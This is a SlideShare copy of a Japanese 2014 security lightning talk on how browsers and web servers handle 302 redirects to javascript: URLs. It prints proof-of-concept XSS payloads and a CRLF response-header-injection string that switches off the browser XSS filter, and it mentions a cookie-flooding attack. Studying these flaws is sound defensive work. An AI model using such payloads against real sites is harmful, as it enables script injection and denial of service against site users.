SlideShare una empresa de Scribd logo
1 de 15
Descargar para leer sin conexión
2014/08/07
はるぷ@Shibuya.XSS
ブラウザとWebサーバの話
1
XSS
》 XSSの仕方色々
☆ <script>alert('xss')</script>
☆ <div onclick="alert('xss')">xxxx
☆ <a href="javascript:alert('xss')">xxxx
2
今日は「<a href="javascript:…」に
焦点を当ててみます!
302 Foundの画面
最近見かけなくなりましたねー
3
302 Foundの画面
表示してみましょう!
※もちろんデフォルト設定で!
4
Locationヘッダの扱いの違い
Chrome IE Firefox Opera(Presto)
動きます!
空文字 ○ × ○ ○
about:blank about:blank × about:blank ○
javascript:xxx × × × ◎
通常 × × × ×
5
優秀な組み合わせその1
》 Apache 2.4.7 + CGI(perl)
6
優秀な組み合わせその2
》 IIS 7.5 (Windows7) + asp
7
投げやりな
メッセージが素敵
惜しい!
》 WEBRick
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: javascript:alert(0)
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: bb768842-983e-4ef8-b0e7-795193db1a96
X-Runtime: 0.007491
Server: WEBrick/1.3.1 (Ruby/2.1.2/2014-05-08)
Date: Sun, 06 Jul 2014 12:00:51 GMT
Content-Length: 85
Connection: Keep-Alive
<html><body>You are being <a href="javascript:alert(0)">redirected</a>.</body></html>
何故かOperaでは表示されない!
(最後に改行入れるといける)
8
Opera独自エンジンPresto
Wikipediaより:http://ja.wikipedia.org/wiki/Opera
非常に残念な
事件!
・Opera独自エンジン系は12.17(2014/4/23)が最新
・ちなみに、FireFoxも5.0(2011/6/21)までは似た動作します。 9
FireFox 5.0 + WEBrick
10
とりあえず正攻法でXSS
》 Apache 2.4.7 + CGI(perl)でResponse
Header Injection
「url=%0d%0a%0d%0a%3Cscript%3Ealert(‘xss’)%3C/script%3E」みたいなやつ
Apacheがレスポンスボディを
占領している!超邪魔!
11
とりあえず正攻法でXSS
》 色々ヘッダを足す
url=test%0d%0aStatus:500%0d%0a
X-XSS-Protection:0%0d%0a%0d%0a%3Cscript
%3Ealert('xss')%3C/script%3E
Chromeとかでも動く!
超便利!
12
Statusヘッダで302をやめる
ブラウザのXSSフィルターを
無効化!
おまけ
》 レスポンスヘッダインジェクションのマイ
ナーな攻撃
☆ Cookieを大量にセットする!
13
おまけ
》 やられると地味に復帰が困難。サイト全体
にアクセスできなくなる
14
まとめ
》 古くからある変な挙動も結構面白い
》 新しいものを作るときに、意外とこういった
細かいとこが再燃したりするのでまあまあ
重要
15

Más contenido relacionado

La actualidad más candente

今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSSSota Sugiura
 
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaXSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaCODE BLUE
 
Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)KageShiron
 
MongoDBのアレをアレする
MongoDBのアレをアレするMongoDBのアレをアレする
MongoDBのアレをアレするAkihiro Kuwano
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Yuichi Hattori
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めHiroshi Tokumaru
 
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」Hiromu Shioya
 
今夜分かるJSによるクリックジャッキング対策の迂回方法
今夜分かるJSによるクリックジャッキング対策の迂回方法今夜分かるJSによるクリックジャッキング対策の迂回方法
今夜分かるJSによるクリックジャッキング対策の迂回方法Shunsuke Taniguchi
 
Node.js×mongo dbで3年間サービス運用してみた話
Node.js×mongo dbで3年間サービス運用してみた話Node.js×mongo dbで3年間サービス運用してみた話
Node.js×mongo dbで3年間サービス運用してみた話leverages_event
 
見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)Masato Kinugawa
 
Webセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてWebセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてYuichi Hattori
 
Ma gician <wide version> @meguro.es 2019/10/10
Ma gician <wide version> @meguro.es 2019/10/10Ma gician <wide version> @meguro.es 2019/10/10
Ma gician <wide version> @meguro.es 2019/10/10Eucen Stew
 
MySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LTMySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LTTomohiro Ikeda
 
Gumi study#15 Sass構造化
Gumi study#15 Sass構造化Gumi study#15 Sass構造化
Gumi study#15 Sass構造化Haraguchi Go
 
ITPと、その他cookie関連のこと / ITP and cookie
ITPと、その他cookie関連のこと / ITP and cookieITPと、その他cookie関連のこと / ITP and cookie
ITPと、その他cookie関連のこと / ITP and cookie株式会社MonotaRO Tech Team
 

La actualidad más candente (20)

今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
 
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaXSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
 
Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)
 
0511 lt
0511 lt0511 lt
0511 lt
 
Reactjs
ReactjsReactjs
Reactjs
 
後期講座03
後期講座03後期講座03
後期講座03
 
MongoDBのアレをアレする
MongoDBのアレをアレするMongoDBのアレをアレする
MongoDBのアレをアレする
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
 
HTML5 on ASP.NET
HTML5 on ASP.NETHTML5 on ASP.NET
HTML5 on ASP.NET
 
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
 
今夜分かるJSによるクリックジャッキング対策の迂回方法
今夜分かるJSによるクリックジャッキング対策の迂回方法今夜分かるJSによるクリックジャッキング対策の迂回方法
今夜分かるJSによるクリックジャッキング対策の迂回方法
 
Node.js×mongo dbで3年間サービス運用してみた話
Node.js×mongo dbで3年間サービス運用してみた話Node.js×mongo dbで3年間サービス運用してみた話
Node.js×mongo dbで3年間サービス運用してみた話
 
見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)
 
Webセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてWebセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習について
 
Ma gician <wide version> @meguro.es 2019/10/10
Ma gician <wide version> @meguro.es 2019/10/10Ma gician <wide version> @meguro.es 2019/10/10
Ma gician <wide version> @meguro.es 2019/10/10
 
Zabbix study5lt
Zabbix study5ltZabbix study5lt
Zabbix study5lt
 
MySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LTMySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LT
 
Gumi study#15 Sass構造化
Gumi study#15 Sass構造化Gumi study#15 Sass構造化
Gumi study#15 Sass構造化
 
ITPと、その他cookie関連のこと / ITP and cookie
ITPと、その他cookie関連のこと / ITP and cookieITPと、その他cookie関連のこと / ITP and cookie
ITPと、その他cookie関連のこと / ITP and cookie
 

Destacado

ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策Hiroshi Tokumaru
 
0からのウェブディレクション講座:設計編 v5.3
0からのウェブディレクション講座:設計編 v5.30からのウェブディレクション講座:設計編 v5.3
0からのウェブディレクション講座:設計編 v5.3Yasuji Takase
 
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組みDeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組みToshiharu Sugiyama
 
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~Miki Shimogai
 
GoogleのSHA-1のはなし
GoogleのSHA-1のはなしGoogleのSHA-1のはなし
GoogleのSHA-1のはなしMITSUNARI Shigeo
 

Destacado (6)

2017年にモテる方法
2017年にモテる方法2017年にモテる方法
2017年にモテる方法
 
ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策
 
0からのウェブディレクション講座:設計編 v5.3
0からのウェブディレクション講座:設計編 v5.30からのウェブディレクション講座:設計編 v5.3
0からのウェブディレクション講座:設計編 v5.3
 
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組みDeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
 
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
 
GoogleのSHA-1のはなし
GoogleのSHA-1のはなしGoogleのSHA-1のはなし
GoogleのSHA-1のはなし
 

ブラウザとWebサーバとXSSの話@Shibuya.xss